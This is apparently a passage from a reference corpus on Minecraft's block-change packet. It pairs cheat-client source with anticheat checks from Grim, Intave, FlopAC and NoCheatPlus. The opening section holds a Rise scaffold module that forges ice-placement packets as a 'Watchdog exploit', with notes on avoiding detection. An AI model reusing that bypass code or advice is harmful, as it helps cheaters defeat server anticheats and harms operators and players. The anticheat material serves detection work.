{\n            MoveUtil.strafe();\n            mc.thePlayer.motionZ *= 1.143;\n            mc.thePlayer.motionX *= 1.143;\n        } else if (mc.thePlayer.onGroundTicks > 2 && !mc.gameSettings.keyBindJump.isKeyDown() && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled() && mc.thePlayer.isPotionActive(Potion.moveSpeed) && mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1 == 1) {\n            MoveUtil.strafe();\n            mc.thePlayer.motionZ *= 1.131;\n            mc.thePlayer.motionX *= 1.131;\n        }\n        if(Math.abs(mc.thePlayer.motionY) < 0.1 && mc.thePlayer.offGroundTicks<2){\n        //    mc.thePlayer.onGround = true;\n        }\n\n\n       // ChatUtil.display(mc.thePlayer.motionY);\n\n        if (mc.gameSettings.keyBindSneak.isKeyDown()) {\n            return;\n        }\n\n        int currentTick = mc.thePlayer.ticksExisted;\n        int currentBlockValue = block;\n        if ( !getModule(Flight.class).isEnabled() &&  !getModule(LongJump.class).isEnabled()) {\n            if (!BadPacketsComponent.bad(true, true, false, true, false) && Math.random()>0.5 && start3 && MoveUtil.isMoving()) {\n//ChatUtil.display(\"ice on my wrist\");\n\n                Random random = new Random();\n                float hitX = random.nextFloat();\n                float hitZ = random.nextFloat();\n\n                PacketUtil.send(new C08PacketPlayerBlockPlacement(\n                        new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ),\n                        EnumFacing.UP.getIndex(),\n                        new ItemStack(Blocks.ice),\n                        hitX,\n                        1.0F,\n                        hitZ\n                ));\n                start3 = false;\n            }\n        }\n\n\n\n        if (previousTick != -1 && currentTick - previousTick >= 4) {\n\n            previousBlockValue = currentBlockValue;\n        } else if (previousTick == -1) {\n\n            previousTick = currentTick;\n            previousBlockValue = currentBlockValue;\n        }\n\n\n        if (mc.thePlayer.onGround) {\n\n            MoveUtil.strafe();\n        }\n\n\n\n        if (mc.thePlayer.onGround) {\n            event.setPosY(event.getPosY() + 0.0001);\n        }\n\n        if (jump && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            if (mc.thePlayer.motionY > .331 && mc.thePlayer.motionY < .34) {\n\n\n            } else if (mc.thePlayer.motionY > .15) {\n\n\n            }\n            WatchdogTower.angle = mc.thePlayer.rotationYaw;\n            WatchdogTower.tickCounter = 17;\n            WatchdogTower.ticks = 0;\n\n            MoveUtil.stop();\n\n            jump = false;\n\n            RotationComponent.setRotations(new Vector2f((float) (mc.thePlayer.rotationYaw + (Math.random() - 0.5) * 3), (float) (90)), 10, MovementFix.NORMAL);// Store the BlockPos in a variable\n\n            if (!(PlayerUtil.block(mc.thePlayer.posX, mc.thePlayer.lastGroundY - 2, mc.thePlayer.posY) instanceof BlockAir)) {\n                getParent().startY = mc.thePlayer.lastGroundY - 1;\n            }\n        }\n\n        if (mc.gameSettings.keyBindJump.isKeyDown()) {\n            jump = true;\n        }\n    };\n\n    @Override\n    public void onEnable() {\n        start3 = false;\n        start4 = false;\n        if (!(getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\"))) {\n            if (mc.thePlayer.onGroundTicks > 9) {\n                hasC08Packet = true;\n                jumpHandled = true;\n\n            }\n        } else {\n            mc.thePlayer.safeWalk = false;\n        }\n\n\n        start2 = true;\n\n\n        jump = false;\n\n        if (!mc.thePlayer.onGround && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            mc.thePlayer.motionX *= 0;\n            mc.thePlayer.motionZ *= 0;\n        }\n\n        previousBlockValue = -1;\n        previousTick = -1;\n        block = 0;\n        start2 = true;\n    }\n\n    @Override\n    public void onDisable() {\n        start3 = false;\n        start3 = false;\n        mc.thePlayer.safeWalk = false;\n        hasC08Packet = false;\n        jumpHandled = false;\n        if (mc.thePlayer.ticksSinceTeleport < 20) {\n            MoveUtil.stop();\n        }\n        start2 = false;\n        if (jump) {\n            MoveUtil.stop();\n        }\n\n        PingSpoofComponent.dispatch();\n    }\n\n    @EventLink(value = Priorities.MEDIUM)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        boolean start = mc.thePlayer.lastGroundY == getParent().startY;\n\n        if (!extraBlocks.getValue()) {\n            start = true;\n        }\n        if (getComponent(Slot.class).getItemStack() != null &&\n                mc.thePlayer.posY > getParent().startY &&\n                mc.thePlayer.posY + MoveUtil.predictedMotion(mc.thePlayer.motionY, 2) <\n                        getParent().startY + 1 && ((!jumpHandled || hasC08Packet) && Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled()) && !(getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\")) || getComponent(Slot.class).getItemStack() != null &&\n                mc.thePlayer.posY > getParent().startY &&\n                mc.thePlayer.posY + MoveUtil.predictedMotion(mc.thePlayer.motionY, 2) <\n                        getParent().startY + 1 && getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\")) {\n\n            getComponent(Slot.class).setSlot(SlotUtil.findBlock());\n        }\n\n\n        if (Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled()) {\n            start = false;\n        }\n        if (jumpHandled) {\n            start = true;\n\n\n        }\n\n        if (mc.thePlayer.offGroundTicks > 8) {\n            jumpHandled = false;\n        }\n\n        if (!start && mc.thePlayer.onGround && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            MoveUtil.strafe(MoveUtil.getAllowedHorizontalDistance() - .01);\n            mc.thePlayer.jump();\n\n\n        }\n\n        if (!(PlayerUtil.isBlockUnder(2) || PlayerUtil.isBlockUnder(1) || PlayerUtil.isBlockUnder(0) || PlayerUtil.isBlockUnder(3)) && !mc.gameSettings.keyBindJump.isPressed() && !mc.thePlayer.isPotionActive(Potion.moveSpeed) && !jump) {\n        } else if (mc.thePlayer.onGroundTicks < 1) {\n            mc.thePlayer.safeWalk = false;\n        }\n\n\n        if (mc.gameSettings.keyBindJump.isPressed() && mc.thePlayer.onGround && !jump && (start2 || getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\")) && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled()) {\n            start2 = false;\n            MoveUtil.strafe(MoveUtil.getbaseMoveSpeed() * .9);\n            if ((getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\"))) {\n                MoveUtil.strafe(MoveUtil.getAllowedHorizontalDistance() - .001);\n            }\n        }\n\n\n        if (mc.thePlayer.offGroundTicks == 4 && !mc.gameSettings.keyBindJump.isKeyDown() && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled() && !start && getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\")) {\n            mc.thePlayer.motionY = mc.thePlayer.motionY - .19;\n        }\n\n        if (mc.thePlayer.offGroundTicks == 1 && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            MoveUtil.strafe();\n        }\n\n        if (PlayerUtil.blockRelativeToPlayer(0, mc.thePlayer.motionY, 0) != Blocks.air && mc.thePlayer.offGroundTicks > 2) {\n            MoveUtil.strafe();\n        }\n\n\n        if (start && !mc.gameSettings.keyBindJump.isKeyDown() && !mc.thePlayer.onGround && !getModule(Speed.class).isEnabled() && extraBlocks.getValue()) {\n            MoveUtil.stop();\n        } else if (start && !mc.gameSettings.keyBindJump.isKeyDown() && !mc.thePlayer.onGround && extraBlocks.getValue()) {\n            MoveUtil.stop();\n        }\n\n\n        if (start && mc.thePlayer.onGround && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            startTriggerCount++;\n        }\n\n        if (!start) {\n            startTriggerCount = 0;\n        }\n    };\n\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        if (event.getPacket() instanceof S23PacketBlockChange) {\n\n            start3 = true;\n            block++;\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n\n\n\n\n        if (!(getModule(Scaffold.class).sameY.getValue().getName().equals(\"Auto Jump\"))) {\n            if (mc.thePlayer.onGround && jumpHandled && hasC08Packet && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled()) {\n                mc.thePlayer.motionY = .42;\n                hasC08Packet = false;\n            }\n        }\n    };\n}\n// NOTE (AI): The S23 hook is the small onPacketReceive listener at the bottom: every received block change sets start3 and bumps the block counter. start3 gates the ice-placement C08 in onPreMotionEvent (line ~109), and the block counter feeds the previousBlockValue/previousTick pacing. The ice C08 is the actual Watchdog exploit; S23 only supplies the acknowledgement signal. Note the same mode exists in Rise 6.1.30's tree without the S23 reference, which is why found_in lists only 6.2.4.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/scaffold/sprint/WatchdogJumpSprint.java",
      "vanilla_hook": "PacketReceiveEvent (S23PacketBlockChange instanceof check).",
      "anti_cheat_notes": "Reading S23 is passive and undetectable; the flag surface is the ice C08 itself, which is why the module only sends it after a genuine server ack and randomizes hitX/hitZ per send.",
      "variations": "Rise 6.1.30's WatchdogJumpSprint does not reference S23 (only the script NetworkAPI does); the 6.2.4 variant is the only module in the corpus touching this packet."
     }
    ],
    "general_hooks": "PacketReceiveEvent on every client; the vanilla handler is the only consumer for most clients.",
    "client_variations": "All 8 clients ship the vanilla NetHandlerPlayClient.handleBlockChange untouched. The only divergence is Rise 6.2.4's scaffold mode intercepting the packet on its own event bus; Rise 6.x also exposes S23 to its scripting API (NetworkAPI.java).",
    "related": [
     "S21PacketChunkData",
     "S22PacketMultiBlockChange",
     "C08PacketPlayerBlockPlacement"
    ],
    "anticheat": {
     "overview": "S23 changes a single block and tells the client about it; it is the smallest world mutation in the protocol. For server-side anticheats it is still a compensated-world event: the cache must apply the change before checks judge the player, and scaffolding checks use the client-facing block state to validate placement supports. The corpus for S23 is the block-change pipeline again (Grim AirLiquidPlace and CompensatedWorld, NCP BlockChangeTracker and BlockChangeListener, Intave SingleBlockChangeReader, Kauri BlockUpdateHandler, FlopAC WrappedOutBlockChange), with the same world-cache pattern as S22 but per block.",
     "checks": [
      {
       "name": "AirLiquidPlace (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flag block placements against air or liquid supports, which scaffolding and tower cheats produce.",
       "how_it_works": "BlockPlaceListener reads the placement position and the compensated world's block state at the support location; it first checks blockHistory for recent START_DIGGING or netty-sync modifications at that position so instant-breaking plus placing in the same tick does not false. If the support is air or a no-place liquid, the check flags and resyncs the placed block. The file's comment documents years of false-positive archaeology around dig-then-place ordering.",
       "detects": "Scaffold and tower modules that place against supports the client should not see as solid.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/scaffolding/AirLiquidPlace.java =====\npackage ac.grim.grimac.checks.impl.scaffolding;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.BlockPlaceCheck;\nimport ac.grim.grimac.checks.type.BlockPlaceListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.change.BlockModification;\nimport ac.grim.grimac.utils.nmsutil.Materials;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.util.Vector3i;\n\n@CheckData(name = \"AirLiquidPlace\", stableKey = \"grim.scaffolding.air_liquid_place\", description = \"Placed a block against an invalid support\")\npublic class AirLiquidPlace extends BlockPlaceCheck implements BlockPlaceListener {\n    public AirLiquidPlace(GrimPlayer player) {\n        super(player);\n    }\n\n    /*\n     * This check has been plagued by falses for ages, and I've finally figured it out.\n     * When breaking and placing on the same tick in the same tick, I believe the vanilla client always sends DIGGING ACTION packets first\n     * This check's falses all seem to stem from processing DiggingAction.START_DIGGING before PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT in the same tick\n     * Since we process the break first, when we go to process the place it looks like the player placed against air in the async world\n     *\n     * We will often see:\n     *     Async world updated: short_grass -> air at X: -32, Y: 69, Z: -240, tick 0, cause/source: DiggingAction.START_DIGGING\n     *     AirLiquidPlace Check: Block state at X: -32, Y: 69, Z: -240 is air (valid: false), tick +0-1, cause/source: PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT <---- previously falsed here\n     *     Async world updated: air -> short_grass at X: -32, Y: 69, Z: -240, tick +3-4, cause: realtime task in applyBlockChanges(List<Vector3i> toApplyBlocks) source: PacketType.Play.Client.PONG\n     *     Async world updated: short_grass -> air at X: -32, Y: 69, Z: -240, tick +0-1, cause: handleNettySyncTransaction(LatencyUtils.java:56) source: PacketType.Play.Client.PONG\n     *\n     * In addition, it is possible for:\n     *     Async world updated: short_grass -> air at X: -49, Y: 69, Z: -190, tick 0, cause: realtime task in applyBlockChanges(List<Vector3i> toApplyBlocks) source: PacketType.Play.Client.PONG\n     *     AirLiquidPlace Check: Block state at X: -49, Y: 69, Z: -190 is air (valid=false), tick 0 <--- false due to change from applyBlockChanges()\n     *     Async world updated: grass_block[snowy=false] -> grass_block[snowy=false] at X: -49, Y: 69, Z: -189, tick 0, cause: handleNettySyncTransaction(LatencyUtils.java:56) source: PacketType.Play.Client.PONG\n     *\n     * And in even more rare cases:\n     *     Async world updated: air -> air at X: -51, Y: 71, Z: -179, tick 0, cause: handleNettySyncTransaction(LatencyUtils.java:56) source: PacketType.Play.Client.PONG\n     *     AirLiquidPlace Check: Block state at X: -49, Y: 70, Z: -180 is short_grass (valid=true), tick 0\n     *     Async world updated: short_grass -> air at X: -49, Y: 70, Z: -180, tick 1, cause/source: DiggingAction.START_DIGGING <--- double dig here (see my AirLiquidBreak patch) this is legit behaviour. Can only be up to 2 in 1 tick though.\n     *     Async world updated: air -> short_grass at X: -49, Y: 70, Z: -180, tick 1, cause/source: DiggingAction.START_DIGGING\n     *     Async world updated: short_grass -> air at X: -51, Y: 70, Z: -179, tick 1, cause: realtime task in applyBlockChanges(List<Vector3i> toApplyBlocks) source: PacketType.Play.Client.PONG\n     *     AirLiquidPlace Check: Block state at X: -49, Y: 70, Z: -179 is air (valid=false), tick 2 <--- falses here due to double dig if we only check the latest changed blockstate. We have to check all changes at the location in same tick.\n     *     AirLiquidPlace Check: Block state at X: -49, Y: 70, Z: -179 is air (valid=true), tick 2\n     *\n     *     All of which previously would've caused a false.\n     *     To solve this we store recently changed blocks caused by DiggingAction.START_DIGGING (instant breaking) and check against the old block.\n     *     Lots of other checks have similar issues, and with the new player.blockHistory we can patch those.\n     *\n     * So that's it right? It's unfalsable?\n     *     Very close but not quite. Vanilla's client game desyncs, especially on a laggy connection where a player is breaking and placing grass 20 cps/sec in the same tick\n     *     it is possible for short grass to be interacted with even if server-side the block is air much later, and it won't be accounted for because the modification isn't recent.\n     *     This is incredibly rare, unreliable and is only triggerable if you intentionally want to false the check. I consider a violation lvl of 2-3 to be reliable\n     *     and 5-6 to be autobannable (if you don't care about people who are deliberately trying to get themselves false banned)\n     */\n    @Override\n    public void onBlockPlace(final BlockPlace place) {\n        if (player.gamemode == GameMode.CREATIVE) return;\n\n        Vector3i blockPos = place.position;\n        StateType placeAgainst = player.compensatedWorld.getBlockType(blockPos.getX(), blockPos.getY(), blockPos.getZ());\n\n        int currentTick = GrimAPI.INSTANCE.getTickManager().currentTick;\n        // this is actual more lenient than we need to be, We can check up to 1 ticks for all changes at location sand up to 0 ticks for first change\n        // But for such tiny differences in legitness it's not worth it.\n        Iterable<BlockModification> blockModifications = player.blockHistory.getRecentModifications((blockModification) -> currentTick - blockModification.tick() < 2\n                && blockPos.equals(blockModification.location())\n                && (blockModification.cause() == BlockModification.Cause.START_DIGGING || blockModification.cause() == BlockModification.Cause.HANDLE_NETTY_SYNC_TRANSACTION));\n\n        // Check if old block from instant breaking in same tick as the current placement was valid\n        // There should only be one block here for legit clients\n        for (BlockModification blockModification : blockModifications) {\n            StateType stateType = blockModification.oldBlockContents().getType();\n            if (!stateType.isAir() && !Materials.isNoPlaceLiquid(stateType)) {\n                return;\n            }\n        }\n\n        if (placeAgainst.isAir() || Materials.isNoPlaceLiquid(placeAgainst)) { // fail\n            if (flag() && shouldModifyPackets() && shouldCancel()) {\n                place.resync();\n            }\n        }\n    }\n\n    @Override\n    protected int getDefaultCancelVL() {\n        return 0;\n    }\n}\n// NOTE (AI): The S22 and S23 corpus hits are the compensated-world change paths this check depends on; the check itself is placement-triggered.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/scaffolding/AirLiquidPlace.java",
       "variations": "NCP blockplace fastplace and Grim's other scaffolding checks handle adjacent placement abuse; Kauri BlockD applies the same support validation against its replicated world."
      },
      {
       "name": "SingleBlockChangeReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Decode the S23 packet into a single block position and block data for the block update tracker.",
       "how_it_works": "AbstractPacketReader implementing BlockChanges: reads the BlockPosition field through a thread-local converter and returns the packet's block data as single-element lists, which the BlockUpdateTracker applies to the block cache and acknowledges.",
       "detects": "Feeds the block cache for Intave's interaction ray-trace and physics checks; registered for BLOCK_CHANGE and BLOCK_BREAK in PacketReaders.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/SingleBlockChangeReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.wrappers.BlockPosition;\nimport com.comphenix.protocol.wrappers.WrappedBlockData;\nimport de.jpx3.intave.klass.Lookup;\nimport de.jpx3.intave.packet.converter.BlockPositionConverter;\n\nimport java.util.Collections;\nimport java.util.List;\n\npublic final class SingleBlockChangeReader extends AbstractPacketReader implements BlockChanges {\n  @Override\n  public List<BlockPosition> blockPositions() {\n    BlockPosition blockPosition = packet().getModifier()\n      .withType(Lookup.serverClass(\"BlockPosition\"), BlockPositionConverter.threadConverter())\n      .read(0);\n    return Collections.singletonList(blockPosition);\n//    return Lists.newArrayList(packet.getBlockPositionModifier().readSafely(0));\n  }\n\n  @Override\n  public List<WrappedBlockData> blockDataList() {\n    return Collections.singletonList(packet().getBlockData().read(0));\n  }\n}\n// NOTE (AI): setup(BLOCK_CHANGE, SingleBlockChangeReader::new) is the S23 registration; the acknowledgeBlockChange sequence keeps 1.19+ sequenced changes in lockstep.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/SingleBlockChangeReader.java",
       "variations": "FlopAC WrappedOutBlockChange wraps the same packet for the reach processor; Hydro WorldTracker handleBlockChange and Kauri runUpdate(WrapperPlayServerBlockChange) are the equivalent apply paths."
      },
      {
       "name": "WrappedOutBlockChange (FlopAC)",
       "found_in": [
        "JTXOfficial-FlopAC"
       ],
       "purpose": "Reflection wrapper for the S23 packet so FlopAC's processors can read block positions and data across 1.7-1.12 protocol versions.",
       "how_it_works": "Resolves the NMS PacketPlayOutBlockChange class and its fields: legacy 1.7.10 x/y/z ints plus block and data fields, or the 1.8+ BlockPosition and IBlockData fields. process() populates a BaseBlockPosition from whichever layout the server version uses, and the constructor can build the packet from a Bukkit Block for server-side resync.",
       "detects": "Feeds the compensated world and reach processor; a thin protocol layer rather than a flagging check.",
       "detailed_code": "// ===== FILE: JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/tinyprotocol/packet/out/WrappedOutBlockChange.java =====\npackage me.jtx.flopac.tinyprotocol.packet.out;\n\nimport lombok.Getter;\nimport me.jtx.flopac.tinyprotocol.api.NMSObject;\nimport me.jtx.flopac.tinyprotocol.api.Packet;\nimport me.jtx.flopac.tinyprotocol.api.ProtocolVersion;\nimport me.jtx.flopac.tinyprotocol.api.packets.reflections.Reflections;\nimport me.jtx.flopac.tinyprotocol.api.packets.reflections.types.WrappedClass;\nimport me.jtx.flopac.tinyprotocol.api.packets.reflections.types.WrappedField;\nimport me.jtx.flopac.tinyprotocol.api.packets.reflections.types.WrappedMethod;\nimport me.jtx.flopac.tinyprotocol.packet.types.BaseBlockPosition;\nimport me.jtx.flopac.tinyprotocol.reflection.FieldAccessor;\nimport me.jtx.flopac.util.box.ReflectionUtil;\nimport org.bukkit.block.Block;\nimport org.bukkit.entity.Player;\n\n@Getter\npublic class WrappedOutBlockChange extends NMSObject {\n    private static final String packet = Packet.Server.BLOCK_CHANGE;\n\n    //1.7.10 and below\n    private static FieldAccessor<Integer> legacyX;\n    private static FieldAccessor<Integer> legacyY;\n    private static FieldAccessor<Integer> legacyZ;\n    private static WrappedField blockChangeBlockField;\n    private static WrappedField blockDataIntField;\n    private static WrappedMethod getDataMethod;\n\n    //1.8 and newer\n    private static FieldAccessor<Object> blockPosAccessor;\n    private static WrappedField iBlockDataField;\n\n\n    private static final WrappedClass blockChangeClass = Reflections.getNMSClass(packet);\n    private static final WrappedClass nmsBlockClass = Reflections.getNMSClass(\"Block\");\n    private static final WrappedClass craftBlockClass = Reflections.getCBClass(\"CraftBlock\");\n\n    private BaseBlockPosition position;\n\n    public WrappedOutBlockChange(Object packet) {\n        super(packet);\n    }\n\n    @Override\n    public void updateObject() {\n\n    }\n\n    public WrappedOutBlockChange(Block block) {\n        if(ProtocolVersion.getGameVersion().isAbove(ProtocolVersion.V1_7_10)) {\n            setPacket(packet, block.getX(), block.getY(), block.getZ(), ReflectionUtil.getWorldHandle(block.getWorld()));\n        } else {\n            setPacket(packet, ReflectionUtil.getWorldHandle(block.getWorld()), new BaseBlockPosition(block.getX(), block.getY(), block.getZ()).getAsBlockPosition());\n        }\n    }\n\n    @Override\n    public void process(Player player, ProtocolVersion version) {\n        if (ProtocolVersion.getGameVersion().isBelow(ProtocolVersion.V1_8)) {\n            position = new BaseBlockPosition(fetch(legacyX), fetch(legacyY), fetch(legacyZ));\n        } else {\n            position = new BaseBlockPosition(fetch(blockPosAccessor));\n        }\n    }\n\n    static {\n        if(ProtocolVersion.getGameVersion().isBelow(ProtocolVersion.V1_8)) {\n            legacyX = fetchField(packet, int.class, 0);\n            legacyY = fetchField(packet, int.class, 1);\n            legacyZ = fetchField(packet, int.class, 2);\n\n\n            blockChangeBlockField = blockChangeClass.getFirstFieldByType(nmsBlockClass.getParent());\n            blockDataIntField = blockChangeClass.getFieldByName(\"data\");\n            getDataMethod = Reflections.getNMSClass(\"World\").getMethod(\"getData\", int.class, int.class, int.class);\n        } else {\n            blockPosAccessor = fetchField(packet, Object.class, 0);\n            iBlockDataField = blockChangeClass.getFieldByType(ReflectionUtil.iBlockData, 0);\n        }\n    }\n}\n// NOTE (AI): The S23 corpus hit is the BLOCK_CHANGE registration; FlopAC's WrappedOutMultiBlockChange covers S22.",
       "code_source": "JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/tinyprotocol/packet/out/WrappedOutBlockChange.java",
       "variations": "Intave SingleBlockChangeReader and Kauri runUpdate(WrapperPlayServerBlockChange) do the same decode on different packet libraries."
      },
      {
       "name": "BlockChangeListener (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Ingest server block changes, including S23 single-block updates, into NCP's compensated BlockChangeTracker.",
       "how_it_works": "Registers Bukkit listeners for piston, redstone, entity block change, block form and player interact events and converts each into tracker.addBlockChange entries with tick and direction; the tracker's validity-interval model lets SurvivalFly, Passable and Visible ask whether a block existed at move time rather than now.",
       "detects": "Feeds ground and passable decisions; the same cache that prevents false phase flags when explosions and pistons reshape the world.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/compat/blocks/changetracker/BlockChangeListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.compat.blocks.changetracker;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport org.bukkit.block.BlockFace;\nimport org.bukkit.block.data.Bisected.Half;\nimport org.bukkit.block.data.BlockData;\nimport org.bukkit.event.Event.Result;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.block.*;\nimport org.bukkit.event.entity.EntityChangeBlockEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.material.Directional;\nimport org.bukkit.material.Door;\nimport org.bukkit.material.MaterialData;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeMaterial;\nimport fr.neatmonster.nocheatplus.compat.versions.ServerVersion;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.registry.order.RegistrationOrder.RegisterMethodWithOrder;\nimport fr.neatmonster.nocheatplus.event.mini.MiniListener;\nimport fr.neatmonster.nocheatplus.logging.Streams;\nimport fr.neatmonster.nocheatplus.utilities.ReflectionUtil;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockFlags;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties.ToolProps;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties.ToolType;\n\n\npublic class BlockChangeListener implements Listener {\n\n    // TODO: Fine grained configurability (also switch flag in MovingListener to a sub-config).\n    // TODO: Coarse player activity filter?\n    public final boolean is1_13 = ServerVersion.compareMinecraftVersion(\"1.13\") >= 0;\n    public final boolean is1_9 = ServerVersion.compareMinecraftVersion(\"1.9\") >= 0;\n\n    /** These blocks certainly can't be pushed nor pulled. */\n    public static long F_MOVABLE_IGNORE = BlockFlags.F_LIQUID;\n    /** These blocks might be pushed or pulled. */\n    public static long F_MOVABLE = BlockFlags.F_GROUND | BlockFlags.F_SOLID;\n\n    private final BlockChangeTracker tracker;\n    private final boolean retractHasBlocks;\n    private boolean enabled = true;\n\n    /** Default tag for listeners. */\n    private final String defaultTag = \"system.nocheatplus.blockchangetracker\";\n\n    /** Properties by dirt block type.*/\n    protected final Map<Material, ToolType> dirtblocks = init();\n\n    /**\n     * NOTE: Using MiniListenerWithOrder (and @Override before @EventHandler)\n     * would make the registry attempt to register with Bukkit for 'Object'.\n     */\n    private final MiniListener<?>[] miniListeners = new MiniListener<?>[] {\n        new MiniListener<BlockRedstoneEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockRedstoneEvent event) {\n                if (enabled) {\n                    onBlockRedstone(event);\n                }\n            }\n        },\n        new MiniListener<EntityChangeBlockEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(EntityChangeBlockEvent event) {\n                if (enabled) {\n                    onEntityChangeBlock(event);\n                }\n            }\n        },\n        new MiniListener<BlockPistonExtendEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockPistonExtendEvent event) {\n                if (enabled) {\n                    onPistonExtend(event);\n                }\n            }\n        },\n        new MiniListener<BlockPistonRetractEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockPistonRetractEvent event) {\n                if (enabled) {\n                    onPistonRetract(event);\n                }\n            }\n        },\n        new MiniListener<PlayerInteractEvent>() {\n            // Include cancelled events, due to the use-block part.\n            @EventHandler(ignoreCancelled = false, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(PlayerInteractEvent event) {\n                if (enabled) {\n                    onPlayerInteract(event);\n                }\n            }\n        },\n        new MiniListener<BlockFormEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockFormEvent event) {\n                if (enabled) {\n                    onBlockForm(event);\n                }\n            }\n        }\n        //        @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n        //        public void onBlockPhysics (final BlockPhysicsEvent event) {\n        //            if (!enabled) {\n        //                return;\n        //            }\n        //            // TODO: Fine grained enabling state (pistons, doors, other).\n        //            final Block block = event.getBlock();\n        //            if (block == null || !physicsMaterials.contains(block.getType())) {\n        //                return;\n        //            }\n        //            // TODO: MaterialData -> Door, upper/lower half needed ?\n        //            tracker.addBlocks(block); // TODO: Skip too fast changing states?\n        //            DebugUtil.debug(\"BlockPhysics: \" + block); // TODO: REMOVE\n        //        }\n    };\n\n    public BlockChangeListener(final BlockChangeTracker tracker) {\n        this.tracker = tracker;\n        if (ReflectionUtil.getMethodNoArgs(BlockPistonRetractEvent.class, \"getBlocks\") == null) {\n            retractHasBlocks = false;\n            NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.STATUS, \"Assume legacy piston behavior.\");\n        }\n        else {\n            retractHasBlocks = true;\n        }\n    }\n\n    private Map<Material, ToolType> init() {\n        Map<Material, ToolType> blocks = new HashMap<Material, ToolType>();\n        blocks.put(BridgeMaterial.GRASS_BLOCK, ToolType.HOE);\n        blocks.put(Material.DIRT, ToolType.HOE);\n        if (is1_13) {\n            blocks.put(Material.COARSE_DIRT, 